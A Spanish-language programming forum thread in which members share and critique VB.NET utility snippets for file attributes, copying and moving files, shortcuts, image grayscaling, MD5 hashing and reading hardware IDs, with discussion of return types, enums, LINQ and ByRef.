Soy autor, si, aunque la idea de crear el objeto graphics y después destruirlo, en lugar de tener uno fijo para todo la vi en unos códigos de msdn.
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 13 Enero 2013, 23:29 pm
Bueno, lo siguiente son sugerencias, críticas o comentarios sobre algunos de los snippets que has puesto en el post, así como algo más genérico sobre como estructuras tus métodos o funciones, y el código en general. - Es aconsejable declarar el tipo de retorno de las funciones en su declaración. Para alguien que no tiene claro el objetivo de una función es mucho más legible hacerlo de este modo, de lo contrario hay que revisar el código de la función en busca de los Return para darse cuenta de que la función retorna un booleano por ejemplo.
Private Function Funcion() As Boolean
- Función Attrib. Ya que estás creando una función que te abstrae de verificar la existencia de un archivo y asignar atributos, tal vez lo mejor sería que la función reciba una lista de atributos en lugar de un atributo global. Es decir, en este caso al utilizar tu función es necesario pasar la suma de los atributos para que asigne varios (como en la función original), pero por que no abstraerse un poco más y olvidarse de la suma?
Private Function Attrib (ByVal File As String, ByVal Attributes As List (Of System. IO. FileAttributes)) As Boolean Try FileSystem. SetAttr(File, Attributes. Select(Function(a ) DirectCast (a, Integer)). Sum()) Return True ' File was modified OK Catch ex As Exception ' MsgBox(ex.Message) Return False ' File can't be modified maybe because User Permissions End Try Else Return Nothing ' File doesn't exist End If End Function
- "Controlar el mismo evento para varios controles". No es aconsejable tener un solo método con condiciones para cada control por separado, lo recomendado es tener un método por evento. Si necesitas realizar algo en específico para un control en especial, entonces asigna un método diferente al control.
- Función ConvertToDiscSize. Si debes de pasar un string a una función, para luego tomar una decisión según se trate de un string u otro, debes de plantearte declarar un enumerador (esto mismo es aplicable a otras de tus funciones). Por otra parte, tampoco es recomendable tener todos los valores hardcodeados en un método, además de que estás repitiendo mucho código. A continuación una variante de la función reestructrada;
#Region " Convert To Disc Size function" Private Function ConvertToDiscSize(ByVal fileSize As Double, ByVal fileKindSize As MagnitudeType, ByVal to_DiscKindCapacity As DiscType) As Double Dim size As Double = GetSize(to_DiscKindCapacity) If (size < 0) Then Throw New ArgumentException("Tamaño de disco no localizado") Return fileSize * DirectCast(fileKindSize, Integer) / size End Function Enum MagnitudeType Bytes = 1 KB = 1024 MB = 1048576 GB = 1073741824 End Enum Enum DiscType CD CD800 CD900 DVD DVD_DL BR BR_DL BR_3L BR_4L BR_MD BR_MD_DL End Enum Private Function GetSize(ByVal discType As DiscType) As Double Select Case discType Case DiscType.CD Return 737280000 ' CD Standard Case DiscType.CD800 Return 829440393.216 ' CD 800 MB Case DiscType.CD900 Return 912383803.392 ' CD 900 MB Case DiscType.DVD Return 4700000000 ' DVD Standard (DVD5 Case DiscType.DVD_DL Return 8500000000 ' DVD Double Layer (DVD9) Case DiscType.BR Return 25025314816 ' BluRay Standard Case DiscType.BR_DL Return 50050629632 ' BluRay Double Layer Case DiscType.BR_3L Return 100103356416 ' BluRay x3 Layers Case DiscType.BR_4L Return 128001769472 ' BluRay x4 Layers Case DiscType.BR_MD Return 7791181824 ' BluRay MiniDisc Standard Case DiscType.BR_MD_DL Return 15582363648 ' BluRay MiniDisc Double Layer Case Else Return -1 ' Por si se declara un nuevo valor en el enumerador sin especificar tamaño End Select End Function #End Region
Creo que por el momento es todo lo que se me ocurre, en otro momento vuelvo a mirar :P Saludos
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 14 Enero 2013, 03:01 am
@ NovluckerQue grande, antes de nada debo decir que para mi tus críticas o sugerencias (O ataques personales si se da el caos xD) son más que bien recibidas, y segundo, gracias por colocarle chincheta al tema (Quien haya sido xD), a ver si la gente se anima a compartir funciones/snippets. Voy por partes:
1. Sincéramente yo no le daba nada de importancia a definir el tipo de retorno de una función, ¿Porque?, pues no sé, quizás séa porque como muchas funciones las he hecho yo pues sé perfectamente que tipo de valor devuelven y no debo fijarme en esos detalles que comentas, o simplemente no le he dado importancia sin razón alguna, pero me lo has hecho ver de una manera en la que no me habia fijado, y te aseguro que estoy editando los 124 snippets definiendo el tipo de retorno de cada uno xD. Lo malo de esto, es que si declaro el tipo en boolean (Por ejemplo), entonces ya no puedo retornar el mensaje de la excepción (Return ex.message), ¿O si?.
2. Con tu modificación que le has hecho a la función de los atributos me has dejado loco! Diréctamente no la entiendo... Attributes.Select(Function(a) DirectCast(a, Integer)).Sum() De ahí lo único que entiendo es que modificas el valor "a" a tipo entero (no se lo que significa esa "a"), lo de "Select", "Function", y "Sum, ni idea XD Bueno, el método "Sum" ya he visto que crea una sequencia parecida a esto: 32 + 64 Lo que equivale a los valores para cambiar los atributos, vale, pero el proceso que haces para llegar a generar esa secuencia... ni idea :xD. Lo peor de todo es que no sé usar tu modificación de la función de atributos, es muy avanzada '¬¬ Así que mientras no me muestres un ejemplo de como usar tu función, la dejo así, que está mejor que la versión original y se asemeja al comando ATTRIB de la CMD, lo que me facilita un poco más su uso: #Region " Change File Attributes Function " ' [ Change File Attributes Function ] ' ' // By Elektro H@cker ' ' Examples : ' Change_File_Attributes("C:\File.txt", H + R) ' Change_File_Attributes("C:\File.txt", Hidden + Read_Only) Const Archive As Integer = 32, A As Integer = 32 Const Directory As Integer = 16, D As Integer = 16 Const Hidden As Integer = 2, H As Integer = 2 Const Normal As Integer = 0, N As Integer = 0 Const Read_Only As Integer = 1, R As Integer = 1 Const System As Integer = 4, S As Integer = 4 Const Volume As Integer = 8, V As Integer = 8 Private Function Change_File_Attributes (ByVal File As String, ByVal Attributes As System. IO. FileAttributes) As Boolean Try FileSystem. SetAttr(File, Attributes ) Return True ' File was modified OK Catch Return False ' File can't be modified maybe because User Permissions End Try Else Return Nothing ' File doesn't exist End If End Function #End Region
3. Tu modificación de la función de las capacidades de discos es inmejorable, Me doy cuenta que tengo que usar más las constantes y las enumeraciones si quiero perfeccionar y simplificar las cosas (Si te digo la verdad pensé que esa función no se podía simplificar más, hasta que he visto tu modificación xDDD, me kawen tó) Gracias por los consejos y un saludo
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 14 Enero 2013, 03:52 am
@Novlucker Que grande, antes de nada debo decir que para mi tus críticas o sugerencias (O ataques personales si se da el caos xD) son más que bien recibidas Mientras no pienses que es un ataque, la idea es que puedas mejorar :P Lo malo de esto, es que si declaro el tipo en boolean (Por ejemplo), entonces ya no puedo retornar el mensaje de la excepción (Return ex.message), ¿O si?. En realidad no es posible. Por lo general cuando es necesario hacer eso se debe de retornar un objeto Result (o clase similar creada por ti). Algo así por ejemplo; Public Class Result Public ReturnValue as Boolean Public Message as String End Class
Si esta todo ok, se asigna el valor a ReturnValue y se deja el Message vacío, sino se hace lo contrario. De cualquier modo, lo habitual es simplemente hacer un throw de la exception, las propias funciones del .NET Framework lo hacen por ejemplo. Por decir algo más y siguiendo con .NET, en C# por ejemplo no puedes declarar un método/función sin tipo de retorno y luego retornar algo. Attributes.Select(Function(a) DirectCast(a, Integer)).Sum()
De ahí lo único que entiendo es que modificas el valor "a" a tipo entero (no se lo que significa esa "a"), lo de "Select", "Function", y "Sum, ni idea XD Para acortar un poco usé LINQ con una expresión lambda :P, la explicación es la siguiente; - Attributes es una lista, por lo cual puedo aplicar LINQ
- Por cada item "a" de la lista, lo casteo a Integer. Esto es porque el enumerador FileAttributes contiene los valores para estos
- Dado que ahora tengo una lista de Integer, los puedo sumar con Sum
2 ejemplos de uso; Attrib("D:\\archivo.txt", New List(Of System.IO.FileAttributes)(New System.IO.FileAttributes() {System.IO.FileAttributes.Hidden, System.IO.FileAttributes.ReadOnly}))
Dim atributos As List(Of System.IO.FileAttributes) = New List(Of IO.FileAttributes) atributos.Add(System.IO.FileAttributes.Hidden) atributos.Add(System.IO.FileAttributes.ReadOnly) Attrib("D:\\archivo.txt", atributos)
Me doy cuenta que tengo que usar más las constantes y las enumeraciones si quiero perfeccionar y simplificar las cosas (Si te digo la verdad pensé que esa función no se podía simplificar más, hasta que he visto tu modificación xDDD, me kawen tó) La idea era justamente de que vieras que no hay que perder de vista la legibilidad del código, y que puedes mejorar en eso :) Saludos
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 14 Enero 2013, 08:09 am
Para convertir un string a lower,upper,wordcase o titlecase, con opción de invertir el string #Region " String To Case Function " ' [ String To Case Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' MsgBox(String_To_Case("ThiS is A TeST", StringCase.Lower)) ' MsgBox(String_To_Case("ThiS is A TeST", StringCase.Upper)) ' MsgBox(String_To_Case("ThiS is A TeST", StringCase.Word)) ' MsgBox(String_To_Case("ThiS is A TeST", StringCase.Title)) ' MsgBox(String_To_Case("ThiS is A TeST", StringCase.Title, True)) Enum StringCase Lower Upper Title Word End Enum Public Function String_To_Case(ByVal Input_String As String, ByVal StringCase As StringCase, Optional ByVal Reverse As Boolean = False) As String If Not Input_String = Nothing And Not Input_String = "" Then Dim Output_String As String = Nothing Select Case StringCase Case StringCase.Lower : Output_String = System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToLower(Input_String) Case StringCase.Upper : Output_String = System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToUpper(Input_String) Case StringCase.Title : Output_String = Char.ToUpper(Input_String(0)) + StrConv(Input_String.Substring(1), VbStrConv.Lowercase) Case StringCase.Word : Output_String = System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Input_String) End Select If Reverse Then Return Microsoft.VisualBasic.StrReverse(Output_String) Else Return Output_String Else : Return False ' Any string to convert End If End Function #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Enero 2013, 05:05 am
Make Dir, para crear directorios con opción de añadir atributos. #Region " Make Dir Function " ' [ Make Dir Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' MsgBox(MakeDir("C:\Test")) Private Function Make_Dir(ByVal Path As String, Optional ByVal Attributes As System.IO.FileAttributes = IO.FileAttributes.Normal) If My.Computer.FileSystem.DirectoryExists(Path) Then Return Nothing ' Directory already exists Try My.Computer.FileSystem.CreateDirectory(Path) ' Create directory If Not Attributes = IO.FileAttributes.Normal Then My.Computer.FileSystem.GetDirectoryInfo(Path).Attributes = Attributes ' Apply Folder Attributes Return True ' Directory is created OK Catch ex As Exception Return False ' Can't create the directory maybe because user permissions ' Return ex.Message End Try End Function #End Region
Copy File , para copiar archivos, con opción de crear el directorio si no existe, opción de reemplazar archivos, y opcion de aplicar atributos al archivo. #Region " Copy File Function " ' [ Copy File Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' MsgBox(Copy_File("C:\File.txt", "C:\Test\")) ' Standard copy ' MsgBox(Copy_File("C:\File.txt", "C:\Test\", True)) ' Create the directory if doesn't exists ' MsgBox(Copy_File("C:\File.txt", "C:\Test\", , True)) ' Replace any existing file ' MsgBox(Copy_File("C:\File.txt", "C:\Test\", , , IO.FileAttributes.Hidden + IO.FileAttributes.ReadOnly)) ' Apply new attributes Private Function Copy_File (ByVal File As String, ByVal Target_Path As String, _ Optional ByVal Force_Target_Path As Boolean = False, Optional ByVal Force_File_Replace As Boolean = False, _ Optional ByVal Attributes As System.IO.FileAttributes = IO.FileAttributes.Normal) Dim File_Information = My. Computer. FileSystem. GetFileInfo(File) ' Get Input File Information ' Directory If Not Force_Target_Path And Not My.Computer.FileSystem.DirectoryExists(Target_Path) Then Return False ' Target Directory don't exists ElseIf Force_Target_Path Then Try My.Computer.FileSystem.CreateDirectory(Target_Path) ' Create directory Catch ex As Exception 'Return False Return ex.Message ' Directory can't be created maybe beacuse user permissions End Try End If ' File Try My. Computer. FileSystem. CopyFile(File, Target_Path & "\" & File_Information. Name, Force_File_Replace ) ' Copies the file If Not Attributes = IO.FileAttributes.Normal Then My.Computer.FileSystem.GetFileInfo(Target_Path & "\" & File_Information.Name).Attributes = Attributes ' Apply File Attributes Return True ' File is copied OK Catch ex As Exception 'Return False Return ex.Message ' File can't be created maybe beacuse user permissions End Try End Function #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Enero 2013, 07:11 am
Crea un acceso directo a una aplicación o a una página web, con muchas opciones. #Region " Create ShortCut Function " ' [ Create ShortCut Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' Create_ShortCut(ShortcutPath.MyDocuments, "My APP Shortcut.lnk", "C:\File.exe") ' Create_ShortCut(ShortcutPath.Desktop, "My CMD Shortcut.lnk", "CMD.exe", "/C Echo Hello World & Pause") ' Create_ShortCut(ShortcutPath.Favorites, "My INTERNET Shortcut.lnk", "http://www.Google.com", , "CTRL+SHIFT+S") ' Create_ShortCut(ShortcutPath.Favorites, "My INTERNET Shortcut.lnk", "http://www.Google.com", , "CTRL+SHIFT+S", "Description of the shortcut") Enum ShortcutPath AppData = Environment.SpecialFolder.ApplicationData Desktop = Environment.SpecialFolder.Desktop Favorites = Environment.SpecialFolder.Favorites LocalAppData = Environment.SpecialFolder.LocalApplicationData MyDocuments = Environment.SpecialFolder.MyDocuments ProgramFiles = Environment.SpecialFolder.ProgramFiles ProgramFilesx86 = Environment.SpecialFolder.ProgramFilesX86 StartMenu = Environment.SpecialFolder.StartMenu System32 = Environment.SpecialFolder.System SysWOW64 = Environment.SpecialFolder.SystemX86 UserProfile = Environment.SpecialFolder.UserProfile Windows = Environment.SpecialFolder.Windows End Enum Function Create_ShortCut(ByVal Shortcut_Path As ShortcutPath, _ ByVal Shortcut_Name As String, _ ByVal APP As String, _ Optional ByVal APP_Arguments As String = Nothing, _ Optional ByVal HotKey As String = Nothing, _ Optional ByVal Icon As String = Nothing, _ Optional ByVal Description As String = Nothing) As Boolean Dim Dir = New IO.DirectoryInfo(System.Environment.GetFolderPath(Shortcut_Path)) Dim WorkingDir As IO.FileInfo If Not APP.Contains("/") Then WorkingDir = New IO.FileInfo(APP) Else WorkingDir = Nothing Try Dim WSHShell As Object = CreateObject("WScript.Shell") Dim Shortcut As Object Shortcut = WSHShell.CreateShortcut(Dir.FullName & "\" & Shortcut_Name) Shortcut.TargetPath = APP Shortcut.Arguments = APP_Arguments Shortcut.WindowStyle = 2 Shortcut.Hotkey = HotKey Shortcut.Description = Description If Not APP.Contains("/") Then Shortcut.WorkingDirectory = WorkingDir.DirectoryName If Icon IsNot Nothing Then Shortcut.IconLocation = Icon Else Shortcut.IconLocation = APP Shortcut.Save() Return True Catch ex As Exception Return False End Try End Function #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Enero 2013, 07:33 am
He añadido, ordenado, y mejorado bastantes snippets del pack de snippets, el nuevo enlace está en el comentario principal. Función para eliminar atributos de un archivo, preservando el resto de atributos. #Region " File Remove Attribute Function " ' [ File Remove Attribute Function ] ' ' Examples : ' ' MsgBox(File_Remove_Attribute("C:\Test.txt", FileAttribute.ReadOnly)) ' MsgBox(File_Remove_Attribute("C:\Test.txt", FileAttribute.ReadOnly + FileAttribute.Hidden)) Public Function File_Remove_Attribute (ByVal File As String, ByVal Remove_Attribute As FileAttribute ) As Boolean Try Dim FileAttributes As FileAttribute = IO. File. GetAttributes(File) IO. File. SetAttributes(File, FileAttributes And Not Remove_Attribute ) Return True Catch ex As Exception Return False End Try End Function #End Region
Función para añadir atributos a un archivo, preservando el resto de atributos. #Region " File Add Attribute Function " ' [ File Add Attribute Function ] ' ' Examples : ' ' MsgBox(File_Add_Attribute("C:\Test.txt", FileAttribute.ReadOnly)) ' MsgBox(File_Add_Attribute("C:\Test.txt", FileAttribute.ReadOnly + FileAttribute.Hidden)) Public Function File_Add_Attribute (ByVal File As String, ByVal Add_Attribute As FileAttribute ) As Boolean Try Dim FileAttributes As FileAttribute = IO. File. GetAttributes(File) IO. File. SetAttributes(File, FileAttributes Or Add_Attribute ) Return True Catch ex As Exception Return False End Try End Function #End Region
Función que comprueba si un archivo tiene un atributo #Region " File Have Attribute Function " ' [ File Have Attribute Function ] ' ' Examples : ' ' MsgBox(File_Have_Attribute("C:\Test.txt", FileAttribute.ReadOnly)) ' MsgBox(File_Have_Attribute("C:\Test.txt", FileAttribute.ReadOnly + FileAttribute.Hidden)) Public Function File_Have_Attribute (ByVal File As String, ByVal CheckAttribute As FileAttribute ) As Boolean Try Dim FileAttributes As FileAttribute = IO. File. GetAttributes(File) If (FileAttributes And CheckAttribute) = CheckAttribute Then Return True Else Return False Catch ex As Exception Return Nothing End Try End Function #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Enero 2013, 20:48 pm
Oscurecer una imagen a escala de grises ( Disable image) PD: He retocado la función original para añadirle opción de elegir distintos tonos de gris, me ha quedado bastante bien. #Region " GrayScale Image Function " ' [ GrayScale Image Function ] ' ' Examples: ' ' PictureBox1.Image = GrayScale_Image(PictureBox1.Image, GrayScale.Light_Gray) ' PictureBox1.Image = GrayScale_Image(PictureBox1.Image, GrayScale.Mid_Gray) ' PictureBox1.Image = GrayScale_Image(PictureBox1.Image, GrayScale.Dark_Gray) Enum GrayScale Light_Gray Mid_Gray Dark_Gray End Enum Private Function GrayScale_Image(ByVal Image As Image, ByVal Gray_Tone As GrayScale) As Bitmap Dim Image_Bitmap As Bitmap = New Bitmap(Image.Width, Image.Height) Dim Image_Graphic As Graphics = Graphics.FromImage(Image_Bitmap) Dim Color_Matrix As System.Drawing.Imaging.ColorMatrix = Nothing Select Case Gray_Tone Case GrayScale.Light_Gray : Color_Matrix = New System.Drawing.Imaging.ColorMatrix(New Single()() {New Single() {0.2, 0.2, 0.2, 0, 0}, New Single() {0.2, 0.2, 0.2, 0, 0}, New Single() {0.5, 0.5, 0.5, 0, 0}, New Single() {0, 0, 0, 1, 0}, New Single() {0, 0, 0, 0, 1}}) Case GrayScale.Mid_Gray : Color_Matrix = New System.Drawing.Imaging.ColorMatrix(New Single()() {New Single() {0, 0, 0, 0, 0}, New Single() {0, 0, 0, 0, 0}, New Single() {0.5, 0.5, 0.5, 0, 0}, New Single() {0, 0, 0, 1, 0}, New Single() {0, 0, 0, 0, 1}}) Case GrayScale.Dark_Gray : Color_Matrix = New System.Drawing.Imaging.ColorMatrix(New Single()() {New Single() {0, 0, 0, 0, 0}, New Single() {0, 0, 0, 0, 0}, New Single() {0.2, 0.2, 0.2, 0, 0}, New Single() {0, 0, 0, 1, 0}, New Single() {0, 0, 0, 0, 1}}) End Select Dim Image_Attributes As System.Drawing.Imaging.ImageAttributes = New System.Drawing.Imaging.ImageAttributes() Image_Attributes.SetColorMatrix(Color_Matrix) Image_Graphic.DrawImage(Image, New Rectangle(0, 0, Image.Width, Image.Height), 0, 0, Image.Width, Image.Height, GraphicsUnit.Pixel, Image_Attributes) Image_Graphic.Dispose() Return Image_Bitmap End Function #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: ABDERRAMAH en 16 Enero 2013, 06:45 am
Interesante!
Podrías también, si quieres, pasar la imágen por referencia, como hago yo. Ésto es para no duplicarla, así trabajamos sobre la misma imágen de entrada. Ahorra memoria aunque realizará el cambio aunque no hagamos:
img = grayscale_image(img,grayscale.mid_gray)
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: spiritdead en 16 Enero 2013, 07:44 am
Interesante!
Podrías también, si quieres, pasar la imágen por referencia, como hago yo. Ésto es para no duplicarla, así trabajamos sobre la misma imágen de entrada. Ahorra memoria aunque realizará el cambio aunque no hagamos:
img = grayscale_image(img,grayscale.mid_gray)
en vez de usar 1 function usa 1 sub ....
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Enero 2013, 19:15 pm
Podrías también, si quieres, pasar la imágen por referencia, como hago yo. Ésto es para no duplicarla, así trabajamos sobre la misma imágen de entrada. Ahorra memoria aunque realizará el cambio aunque no hagamos: No conocía esos beneficios de ByRef, gracias!
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 16 Enero 2013, 20:20 pm
No conocía esos beneficios de ByRef, gracias! Tienes que intentar mejorar tus conceptos :¬¬ es algo bastante básico
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Enero 2013, 20:38 pm
Tienes que intentar mejorar tus conceptos :¬¬ es algo bastante básico
Pues el que hizo la función original es un pedazo de Coder de CodeProject que ha hecho unos 10 controles extendido... así que quizás si usa ByVal es por algo... no sé, no me culpeis a mí xD. PD: Cuanto más me adentro en .NET más me doy cuenta que es imposible saberlo todo al milímetro! Saludos!
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 16 Enero 2013, 21:12 pm
Pues el que hizo la función original es un pedazo de Coder de CodeProject que ha hecho unos 10 controles extendido... así que quizás si usa ByVal es por algo... no sé, no me culpeis a mí xD.
PD: Cuanto más me adentro en .NET más me doy cuenta que es imposible saberlo todo al milímetro! Ahí es donde se diferencia C# de VB.NET. C# te obliga a hacer cosas que en VB.NET son opcionales, como declarar el tipo de dato de retorno de una función, o sabes que todo objeto va siempre por referencia y los otros por valor (boolean, double, etc), salvo que se especifique que va por referencia :-\ Saludos
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: ABDERRAMAH en 16 Enero 2013, 21:23 pm
El concepto de byval y byref se entiende mejor en c++ que en visualbasic, yo que soy de los que aprendió con vb me costó entender a qué se refiere, en cierta forma es como pasar punteros en c++.
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Enero 2013, 07:33 am
Cargar un recurso embedido (.exe) al disco duro #Region " Load Resource To Disk Function " ' [ Load Exe Resource To Disk Function ] ' ' // By Elektro H@cker (Gracias a Kubox) ' ' Examples: ' ' Load__Exe_Resource_To_Disk(My.Resources.Exe_Name, "C:\File.exe") ' ' Process.Start("C:\File.exe") Private Function Load__Exe_Resource_To_Disk(ByVal Resource As Byte(), ByVal Target_File As String) As Boolean Try Dim File_Buffer As Byte() = Resource Dim Buffer_FileStream As New IO.FileStream(Target_File, IO.FileMode.Create, IO.FileAccess.Write) Buffer_FileStream.Write(File_Buffer, 0, File_Buffer.Length) : Buffer_FileStream.Close() Return True Catch ex As Exception Return False End Try End Function #End Region
MessageBox Question - Cancel operation Dim Answer = MessageBox.Show("Want to cancel the current operation?", "Cancel", MessageBoxButtons.YesNo, MessageBoxIcon.Question, MessageBoxDefaultButton.Button1) If Answer = MsgBoxResult.Yes Then Application.Exit() Else e.Cancel = True
Mover un archivo, con varias opciones adicionales. #Region " Move File Function " ' [ Move File Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' MsgBox(Move_File("C:\File.txt", "C:\Test\")) ' Standard move ' MsgBox(Move_File("C:\File.txt", "C:\Test\", True)) ' Create the directory if doesn't exists ' MsgBox(Move_File("C:\File.txt", "C:\Test\", , True)) ' Replace any existing file ' MsgBox(Move_File("C:\File.txt", "C:\Test\", , , IO.FileAttributes.Hidden + IO.FileAttributes.ReadOnly)) ' Apply new attributes Private Function Move_File (ByVal File As String, ByVal Target_Path As String, _ Optional ByVal Force_Target_Path As Boolean = False, Optional ByVal Force_File_Replace As Boolean = False, _ Optional ByVal Attributes As System.IO.FileAttributes = IO.FileAttributes.Normal) Dim File_Information = My. Computer. FileSystem. GetFileInfo(File) ' Get Input File Information ' Directory If Not Force_Target_Path And Not My.Computer.FileSystem.DirectoryExists(Target_Path) Then Return False ' Target Directory don't exists ElseIf Force_Target_Path Then Try My.Computer.FileSystem.CreateDirectory(Target_Path) ' Create directory Catch ex As Exception 'Return False Return ex.Message ' Directory can't be created maybe beacuse user permissions End Try End If ' File Try My. Computer. FileSystem. MoveFile(File, Target_Path & "\" & File_Information. Name, Force_File_Replace ) ' Moves the file If Not Attributes = IO.FileAttributes.Normal Then My.Computer.FileSystem.GetFileInfo(Target_Path & "\" & File_Information.Name).Attributes = Attributes ' Apply File Attributes Return True ' File is copied OK Catch ex As Exception 'Return False Return ex.Message ' File can't be created maybe beacuse user permissions End Try End Function #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Enero 2013, 11:27 am
Obtener la arquitectura del OS #Region " Get OS Architecture Function " ' [ Get OS Architecture Function ] ' ' // By Elektro H@cker ' ' Examples : ' Dim Architecture = Get_OS_Architecture() Private Function Get_OS_Architecture() As Integer Dim Bits = Runtime.InteropServices.Marshal.SizeOf(GetType(IntPtr)) * 8 Select Case Bits Case 32 : Return 32 ' x86 Case 64 : Return 64 ' x64 Case Else : Return Nothing ' xD End Select End Function #End Region
Ejemplo de un overload ' Examples: ' ' Test(0) ' Test"0") Sub Test(ByVal Argument As Integer) MsgBox("Integer: " & Argument) End Sub Sub Test(ByVal Argument As String) MsgBox("String: " & Argument) End Sub
El snippet de Get All Files, mejorado: #Region " Get All Files Function " ' [ Get All Files Function ] ' ' // By Elektro H@cker ' ' Examples: ' ' Dim Files As Array = Get_All_Files("C:\Test", True) ' For Each File In Get_All_Files("C:\Test", False) : MsgBox(File) : Next Private Function Get_All_Files(ByVal Directory As String, Optional ByVal Recursive As Boolean = False) As Array If System.IO.Directory.Exists(Directory) Then If Not Recursive Then : Return System.IO.Directory.GetFiles(Directory, "*", IO.SearchOption.TopDirectoryOnly) Else : Return IO.Directory.GetFiles(Directory, "*", IO.SearchOption.AllDirectories) End If Else Return Nothing End If End Function #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Enero 2013, 14:06 pm
No es mucho, pero puede servir... Obtener la ruta del directorio o del archivo "user.config" #Region " Get User Config Function " ' [ Get User Config Function ] ' ' // By Elektro H@cker (Gracias a Seba123Neo) ' ' Examples : ' ' * First add a reference to "System.Configuration" in the proyect ' ' MsgBox(Get_User_Config(User_Config.File)) ' MsgBox(Get_User_Config(User_Config.Path)) Enum User_Config Path End Enum Private Function Get_User_Config(ByVal Setting As User_Config) As String Dim UserConfig As String = System.Configuration.ConfigurationManager.OpenExeConfiguration(System.Configuration.ConfigurationUserLevel.PerUserRoaming).FilePath Select Case Setting Case User_Config. File : Return UserConfig Case User_Config.Path : Return UserConfig.Substring(0, UserConfig.LastIndexOf("\")) Case Else : Return False End Select End Function #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: $Edu$ en 18 Enero 2013, 15:09 pm
Se supone que todos los apuntes que has hecho desde que aprendiste vb.net estan aca no? digo porque te los iba a pedir pero veo que estan todos aca xD
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Enero 2013, 16:03 pm
Sí xDDDDDD, apuntes convertidos en funciones/snippets, creo que para lo poco que sé de .NET me lo curro ;D.
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 3 Febrero 2013, 05:07 am
Calcular el hash MD5 de un archivo: #Region " Get MD5 Of File Function " ' [ Get MD5 Of File Function ] ' ' Examples : ' ' MsgBox(Get_MD5_Of_File("C:\Test.txt")) Private Function Get_MD5_Of_File (ByVal File As String) As String Using MD5_Reader As New System. IO. FileStream(File, IO. FileMode. Open, IO. FileAccess. Read) Using MD5 As New System.Security.Cryptography.MD5CryptoServiceProvider Dim MD5_Byte() As Byte = MD5.ComputeHash(MD5_Reader) Dim MD5_Hex As New System.Text.StringBuilder(MD5.ComputeHash(MD5_Reader).Length * 2) For Number As Integer = 0 To MD5_Byte.Length - 1 : MD5_Hex.Append(MD5_Byte(Number).ToString("X2")) : Next Return MD5_Hex.ToString().ToLower End Using End Using End Function #End Region
Calcular el hash MD5 de un string: #Region " Get MD5 Of String Function " ' [ Get MD5 Of String Function ] ' ' Examples : ' ' MsgBox(Get_MD5_Of_String("C:\Test.txt")) Private Function Get_MD5_Of_String(ByVal str As String) As String Dim MD5_Hex As String = Nothing Dim MD5 As New System.Security.Cryptography.MD5CryptoServiceProvider() Dim MD5_Byte = System.Text.Encoding.UTF8.GetBytes(str) Dim MD5_Hash = MD5.ComputeHash(MD5_Byte) MD5.Clear() For Number As Integer = 0 To MD5_Hash.Length - 1 : MD5_Hex &= MD5_Hash(Number).ToString("x").PadLeft(2, "0") : Next Return MD5_Hex End Function #End Region
Obtener la ID de la placa base: #Region " Get Motherboard ID Function " ' [ Get Motherboard ID Function ] ' ' Examples : ' ' Dim Motherboard_ID As String = Get_Motherboard_ID() ' MsgBox(Get_Motherboard_ID()) Private Function Get_Motherboard_ID() As String For Each Motherboard As Object In GetObject("WinMgmts:").InstancesOf("Win32_BaseBoard") : Return Motherboard.SerialNumber : Next Motherboard Return Nothing End Function #End Region
Obtener la ID del procesador: #Region " Get CPU ID Function " ' [ Get CPU ID Function ] ' ' Examples : ' ' Dim Processor_ID As String = Get_Motherboard_ID() ' MsgBox(Get_CPU_ID()) Private Function Get_CPU_ID() As String For Each CPU_ID As Object In GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2").ExecQuery("Select * from Win32_Processor") : Return CPU_ID.ProcessorId : Next CPU_ID Return Nothing End Function #End Region
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Febrero 2013, 03:05 am
